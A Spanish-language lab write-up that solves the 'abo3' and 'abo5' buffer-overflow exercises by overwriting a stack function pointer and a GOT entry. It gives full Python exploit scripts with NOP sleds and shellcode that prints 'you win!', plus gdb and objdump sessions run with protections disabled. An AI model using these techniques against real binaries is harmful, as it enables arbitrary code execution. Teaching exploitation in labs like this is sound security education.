Ataque “Smash the stack” con ejecución indirecta

Análisis del programa vulnerable

Abo 3

int main(int argv,char **argc) {

	extern system,puts;                           
	void (*fn)(char*)=(void(*)(char*))&system;    /* fn: puntero almacenado en la pila */
	char buf[256];

	fn=(void(*)(char*))&puts;
	strcpy(buf,argc[1]);
	fn(argc[2]);

	exit(1);                                      /* main() no retorna. Salida con error */
}

Consideraciones:

  • Función exit(int estado): es una función de la biblioteca estándar de C (stdlib.h) que termina de forma controlada la ejecución de un programa.
  • Nombres de argumentos argc y argv: en general argc es la cantidad de cadenas en la línea de comandos al llamar al programa, siendo argc[0] el nombre del programa. Y argv es un arreglo de punteros a los argumentos.
    Hay que considerar que en los abos originales los nombres de argc y de argv están invertidos.

¿Qué hace el programa?

Se declaran las funciones system y puts que se definen de manera externa (pertenecen a libc). Luego se apila un puntero a fn() y después la variable local buf. Después se define la dirección de un puntero a fn(), se copia el contenido del primer parámetro dentro de buf y se ejecuta fn(). Por último se interrumpe la ejecución de main() sin retornar, y se sale del programa vulnerable con exit(1).

Layout de la pila antes del exploit:

Antes de modificar la dirección del puntero a fn, el mapa de la pila del programa es el siguiente:

      int main() {
        extern system,puts;                           
        void (*fn)(char*)=(void(*)(char*))&system;
        char buf[256];
     
eip =>  fn=(void(*)(char*))&puts;
        strcpy(buf,argc[1]);
        fn(argc[2]);
     
        exit(1);
      }

layout pila

Solución anterior: sobreescribir la dirección de retorno de main()

Como el programa finaliza con exit(1) es inútil sobreescribir la dirección de retorno de main() ya que esa función nunca va a retornar.

¿Cuál es la dificultad principal?

La función exit() modifica la salida del programa vulnerable con una llamada al sistema que finaliza el proceso. Por lo tanto de nada nos serviría sobreescribir la dirección de retorno de main() para ejecutar el shellcode.
Entonces: ¿cómo logramos ejecutar el shellcode?

Ataque “Smash the stack” con ejecución indirecta

Es posible aprovecharse de que el programa vulnerable ejecuta la función fn() y que además define un puntero a esa función que es almacenado en la pila.
Nuevamente es posible inyectar el shellcode en buf a través de la función strcpy(). Esta vez para ejecutarlo sobreescribimos el puntero a fn() para que apunte a nuestro shellcode. De esta manera, cuando se ejecute fn() logramos que lo que se ejecute sea nuestro código malicioso antes de que el proceso termine con exit(1).

Layout de la pila deseado:

layout pila

  1. Aprovechamos el strcpy(buf,argc[1]) para realizar un overflow: con el primer argumento argc[1] inyectamos el shellcode con un tobogán de NOPs y por desbordamiento sobreescribimos la dirección a la que apunta el puntero a fn:

    input

  2. Armamos un archivo en Python para ingresar el input.

    Gracias al mapa de la pila sabemos que si con nuestro input llenamos buf los siguientes 4 bytes van a corresponder a la dirección del puntero a fn(). Como todavía no conocemos la dirección de buf probamos sobreescribir el puntero para que apunte a un valor cualquiera como 0x41414141. Para ejecutar fn() se dereferencia la dirección del puntero de esa función, pero como 0x41414141 es una dirección por fuera del espacio de memoria del proceso se produce un segmentation fault o violación de segmento.
    Aunque el objetivo aún no esté cumplido, con este paso intermedio nos aseguramos que podemos controlar el flujo de ejecución del programa.

    El shellcode usado es nuevamente el shellcode que imprime “You win!”.

    #! /usr/bin/env python
    """Uso: ./abo3 "$(./exploit.py)" """
       
    import sys
    from struct import pack
       
    #shellcode, imprime you win
    shellcode  = "\xeb\x16\x31\xc0\x59\x88\x41\x08\xb0\x04\x31\xdb\x43"
    shellcode += "\x31\xd2\xb2\x09\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe5"
    shellcode += "\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21\x41"
        
    ret_addr = 0x41414141                                   #???? addr de buf
    len_buf  = 256
       
    exploit  = "\x90" * 80                                  #nops al principio de buf
    exploit += shellcode                                    #shellcode
    exploit += "\x42" * (len_buf-80-len(shellcode))         #completa buf
    exploit += pack("<I", ret_addr)                         #lleno *fn
       
    sys.stdout.write(exploit)
    
  3. Corremos el programa y verificamos que la ejecución salte a 0x41414141.
    user@abos:~$ sudo sysctl -w kernel.randomize_va_space=0 #no random
    
    user@abos:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o abo3 abo3.c
    
    user@abos:~$ env -i gdb ./abo3
    GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
    (gdb) break main
    (gdb) run "$(./exploit.py)"
    (gdb) c
    Continuing.
       
    Program received signal SIGSEGV, Segmentation fault.
    0x41414141 in ?? ()
    

    Perfecto. Al ejecutar fn(argc[2]) como modificamos el puntero a fn() por la dirección 0x41414141 se intenta ejecutar una dirección no válida que resulta en una violación de segmento.

  4. Averiguamos la dirección de buf en la pila.
    Nos aseguramos de alinear las direcciones en el entorno de debugging y fuera de él. Con gdb averiguamos la dirección de buf de la siguiente manera:

    Avanzamos con el operador de siguiente instrucción si en gdb hasta antes de la ejecución de la línea fn=(void(*)(char*))&puts. En ese punto verificamos el valor de buf:

       (gdb) run "$(./exploit.py)"
       (gdb) si
       11    fn=(void(*)(char*))&puts;
       (gdb) x/2i $eip                ; vemos las 2 instrucciones sgtes.
    => 0x80484ab <main+16>: mov    DWORD PTR [ebp-0x4],0x8048350
       0x80484b2 <main+23>: mov    eax,DWORD PTR [ebp+0xc]
          
       (gdb) x/wx buf
       0xbffffbc4: 0x00000000
       (gdb) x/wx $ebp-0x104          ; es lo mismo
       0xbffffbc4: 0x00000000
    

    La dirección de buf es entonces 0xbffffbc4.

    Un truco más fácil para obtener esa información es agregar en el código fuente de abo3.c una línea que imprima la dirección de buf como por ejemplo: printf("buf: %08x\n", &buf). Después compilar nuevamente y ejecutar el programa vulnerable para conocer la dirección de buf. Evidentemente en casos reales no podremos modificar el código fuente del programa que queremos explotar.

  5. Actualizamos el script con la dirección de buf.
    Para poder contar con mayor margen de error no saltamos exactamente al comienzo de buf sino en la mitad del tobogán de nops. Para eso le sumamos a esa dirección 40 bytes, considerando que el nop sled es de 80 bytes.

    #! /usr/bin/env python
    """Uso: ./abo3 "$(./exploit.py)" """
       
    import sys
    from struct import pack
       
    #shellcode, imprime you win
    shellcode  = "\xeb\x16\x31\xc0\x59\x88\x41\x08\xb0\x04\x31\xdb\x43"
    shellcode += "\x31\xd2\xb2\x09\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe5"
    shellcode += "\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21\x41"
        
    buf_addr = 0xbffffbc4                                   #addr de buf
    ret_addr = buf_addr+40                                  #addr tobogan nops
    len_buf  = 256
       
    exploit  = "\x90" * 80                                  #nops al principio de buf
    exploit += shellcode                                    #shellcode
    exploit += "\x90" * (len_buf-80-len(shellcode))         #nops que completan buf
    exploit += pack("<I", ret_addr)                         #lleno fn()
       
    sys.stdout.write(exploit)
    
  6. Ejecutamos el exploit y logramos imprimir el mensaje ganador.
    user@abos:~$ env -i LINES=34 COLUMNS=72 PWD=$(pwd) /home/usuarix/abos/abo3 "$(./exploit.py)"
    you win!
    

Consideraciones: si las variables de entorno se incluyen o no en la ejecución dependerá del método de alineación del stack elegido.

Gráficamente logramos el siguiente resultado:

pila después

…………………………………………………………………………………………………………………………………………………

Ataque de reescritura de la Global Offset Table (GOT)

Análisis del programa vulnerable

Abo 5

int main(int argv,char **argc) {
        char *pbuf=malloc(strlen(argc[2])+1);
        char buf[256];

        strcpy(buf,argc[1]);
        for (;*pbuf++=*(argc[2]++););
        exit(1);
	}

¿Qué hace el programa?

El programa vulnerable apila dos variables locales: el arreglo buf y el puntero pbuf (que apunta al heap). Después de copiar el contenido del primer y segundo parámetro en las variables, ejecuta la función exit() que hará una syscall exit (con un estatus de 1 de error) y finalizará el proceso provocando que main() nunca retorne.

Layout de la pila antes del exploit:

layout pila

¿Cuál es la dificultad principal?

Nuevamente finaliza el proceso de manera anticipada con el llamado a exit(), sin un retorno a main().
Además, no se ejecuta una función auxiliar en el programa vulnerable (como antes fn()), lo que complica la ejecución del código inyectado.
¿Cómo logramos ejecutar el shellcode de manera indirecta aprovechando el puntero pbuf adicional?

Ataque de reescritura de la Global Offset Table (GOT)

Hasta este momento se han realizado ataques en el nivel de la pila, es decir, aprovechando direcciones de retorno y punteros a funciones almacenados en ese área de la memoria.
En numerosos casos, no es de utilidad sobreescribir la dirección de retorno debido a mitigaciones en la pila o a funciones como exit() que finalizan un proceso sin utilizar la dirección de retorno de la pila. En estos casos se deben encontrar otras maneras de tomar el control del proceso explotado.

Si imaginamos un escenario real dónde un mismo binario se comparte (a través de por ejemplo repositorios de GNU/Linux), es posible idear un ataque a nivel del binario con la reescritura de la tabla GOT. La dirección de una entrada en la GOT está definida para cada binario, de modo que es independiente de la pila y sus variables de entorno.
El aprovechamiento de la GOT es un recurso valioso por esa y otras razones que se especifican en el apartado sobre la utilidad de la GOT.

Justamente en este ejemplo puntual es posible manipular la dirección a la que apunta exit() en la tabla GOT para que apunte al código inyectado, y el programa vulnerable en vez de ejecutar la función de la biblioteca compartida ejecute el shellcode.
Como la tabla GOT está fuera de la pila no es posible sobreescribir la dirección de exit() con el overflow de una variable local sino que hay que acceder a otras secciones de la memoria por fuera de la pila. Aquí entra en juego el puntero pbuf.

Logramos el ataque de manera indirecta:

  1. strcpy(buf,argc[1]) con el primer parámetro inyectamos el shellcode y sobreescribirmos pbuf para que apunte a la entrada de exit en la GOT (por fuera de la pila).
  2. for (;*pbuf++=*(argc[2]++);) dado que el segundo parámetro modifica el valor a dónde referencia pbuf, con él podemos cambiar la dirección de exit en la GOT por la dirección de nuestro shellcode.

Layout de la pila deseado:

layout pila

  1. Desensamblamos para ver la dirección de exit en la GOT.
    En este punto para no marearse con referencias cruzadas y saber exactamente dónde encontrar el dato necesario, es importante tener en mente el proceso de enlazado dinámico de bibliotecas.

    La manera más simple de encontrar el listado de entradas de la GOT es usando el flag [-R|--dynamic-reloc] de objdump:

    user@abos:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o abo5 abo5.c
    user@abos:~$ objdump -R abo5
    abo5:     file format elf32-i386
       
    DYNAMIC RELOCATION RECORDS
    OFFSET   TYPE              VALUE 
    080497a8 R_386_GLOB_DAT    __gmon_start__
    080497b8 R_386_JUMP_SLOT   printf
    080497bc R_386_JUMP_SLOT   strcpy
    080497c0 R_386_JUMP_SLOT   malloc
    080497c4 R_386_JUMP_SLOT   __gmon_start__
    080497c8 R_386_JUMP_SLOT   exit             ; entrada de la GOT para exit
    080497cc R_386_JUMP_SLOT   strlen
    080497d0 R_386_JUMP_SLOT   __libc_start_main
       
    

    En la primer columna se indican las direcciones de cada entrada de la GOT, entonces la dirección que buscamos es: 0x080497c8.

    Otra forma de encontrar la dirección de exit en la GOT es -primero- buscar la llamada a exit en main():

    user@abos:~$ objdump -d -M intel abo5 
    
    Disassembly of section .text:
    (...)
    8048536:    e8 55 fe ff ff           call   8048390 <exit@plt>
    (...)
    

    Y segundo buscamos en la sección .plt la dirección 0x8048390 del call, donde encontramos definida exit@plt:

       user@abos:~$ objdump -d -M intel abo5 
    
       Disassembly of section .plt:
       08048390 <exit@plt>:
       8048390:    ff 25 c8 97 04 08        jmp    *0x80497c8
       8048396:    68 20 00 00 00           push   $0x20
       804839b:    e9 a0 ff ff ff           jmp    8048340 <_init+0x2c>
    

    En la primer línea vemos el salto a 0x80497c8. Tomando en cuenta el proceso de enlazado dinámico de bibliotecas, sabemos que es esa la dirección de exit dentro de la tabla GOT que queremos modificar para que apunte a nuestro shellcode.

    Es posible ver las secciones del ejecutable y corroborar que esa dirección pertenece a la sección .got (o a la sección .got.plt más específicamente):

       user@abos:~$ readelf -S abo5
       There are 35 section headers, starting at offset 0x1404:
          
       	Section Headers:
       	  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
       	  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
       		(...)
       	  [12] .plt              PROGBITS        08048340 000340 000080 04  AX  0   0 16
       	  [13] .text             PROGBITS        080483c0 0003c0 0001f2 00  AX  0   0 16
       		(...)
       	  [22] .got              PROGBITS        080497a8 0007a8 000004 04  WA  0   0  4
       	  [23] .got.plt          PROGBITS        080497ac 0007ac 000028 04  WA  0   0  4
       	  [24] .data             PROGBITS        080497d4 0007d4 000008 00  WA  0   0  4
    

    Efectivamente la dirección 08048390 <exit@plt> pertenece a la sección .plt que empieza en 0x08048340 y tiene un tamaño de 80 bytes.

    Y, en cambio, la dirección 0x080497c8 <exit@got> pertenece a la sección .got.plt que empieza en 080497acy tiene un tamaño de 28.

  2. Usamos un único overflow (con argv[1]) para inyectar el shellcode y sobreescribir la dirección a la que apunta el puntero pbuf. Y con el segundo argumento de main() (con argv[2]) modificamos la dirección en la entrada exit en la GOT:

    input

  3. Armamos un archivo en Python para ingresar como primer parámetro el tobogán de nops, nuestro shellcode y la dirección dentro de la GOT a la que va a apuntar pbuf. Armamos con eso param1.py.
    #! /usr/bin/env python
       
    """Uso: ./abo5 "$(./param1.py)" "$(./param2.py)" """
       
    import sys
    from struct import pack
       
    #shellcode, imprime you win
    shellcode  = "\xeb\x16\x31\xc0\x59\x88\x41\x08\xb0\x04\x31\xdb\x43"
    shellcode += "\x31\xd2\xb2\x09\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe5"
    shellcode += "\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21\x41"
       
    exit_addr  = 0x080497c8                         #addr exit en GOT
    len_buf  = 256
    
    exploit  = "\x90" * 80                          #nops al principio de buf
    exploit += shellcode                            #shellcode
    exploit += "\x90" * (len_buf-80-len(shellcode)) #nops que completan buf
    exploit += pack("<I", exit_addr)                #defino pbuf
       
    sys.stdout.write(exploit)
    
  4. Armamos un archivo en Python para ingresar como segundo parámetro. El objetivo es escribir en la GOT una dirección en el medio del tobogán de nops, no obstante probamos primero con una dirección cualquiera para verificar los cálculos. Armamos param2.py.
    #! /usr/bin/env python
    """Uso: ./abo5 "$(./param1.py)" "$(./param2.py)" """
       
    import sys
    from struct import pack
       	 
    buf_addr = 0x41414141                           #???? addr de buf
       
    exploit = pack("<I", buf_addr)                  #sobreescribo exit en la GOT
       
    sys.stdout.write(exploit)
    

    Y probamos ejecutar el abo con ambos parámetros:

    user@abos:~$ gdb ./abo5
    GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
    (gdb) run "$(./param1.py)" "$(./param2.py)"
    
    Program received signal SIGSEGV, Segmentation fault.
    0x41414141 in ?? ()
    

    Logramos que eip intente ejecutar instrucciones de la dirección 0x41414141. Ahora basta reemplazarla por una dirección en el medio del tobogán de nops.

  5. Averiguamos la dirección de buf en la pila.
    user@abos:~$ gdb ./abo5
    GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
    (gdb) break main
    (gdb) break 13                              ; break en strcpy(buf..)
    (gdb) run "$(./param1.py)" "$(./param2.py)"
    
    (gdb) x/wx buf
    0xbffff490:  0x00000000
    

    La dirección de buf es entonces 0xbffff490. Editamos el script param2.py con la dirección de buf más 40 bytes extras para darnos margen y aterrizar en el tobogán de nops:

    #! /usr/bin/env python
    """Uso: ./abo5 "$(./param1.py)" "$(./param2.py)" """
       
    import sys
    from struct import pack
           
    buf_addr = 0xbffff490+40                     #addr tobogan nops en buf
    
    exploit = pack("<I", buf_addr)               #sobreescribo exit en la GOT
       
    sys.stdout.write(exploit)
    
  6. Ejecutamos el exploit en su versión final
    user@abos:~$ ./abo5 "$(./param1.py)" "$(./param2.py)"
    you win!
    

¿Cómo seguir?

  1. Abo 4: el programa vulnerable finaliza en un loop infinito (while(1)), por lo que es factible llevar a cabo una estrategia similar.
    extern system,puts; 
    void (*fn)(char*)=(void(*)(char*))&system;
       
    int main(int argv,char **argc) {
    	char *pbuf=malloc(strlen(argc[2])+1);
    	char buf[256];
    
    	fn=(void(*)(char*))&puts;
    	strcpy(buf,argc[1]);		
    	strcpy(pbuf,argc[2]);
    	fn(argc[3]);
       	
       while(1);
    }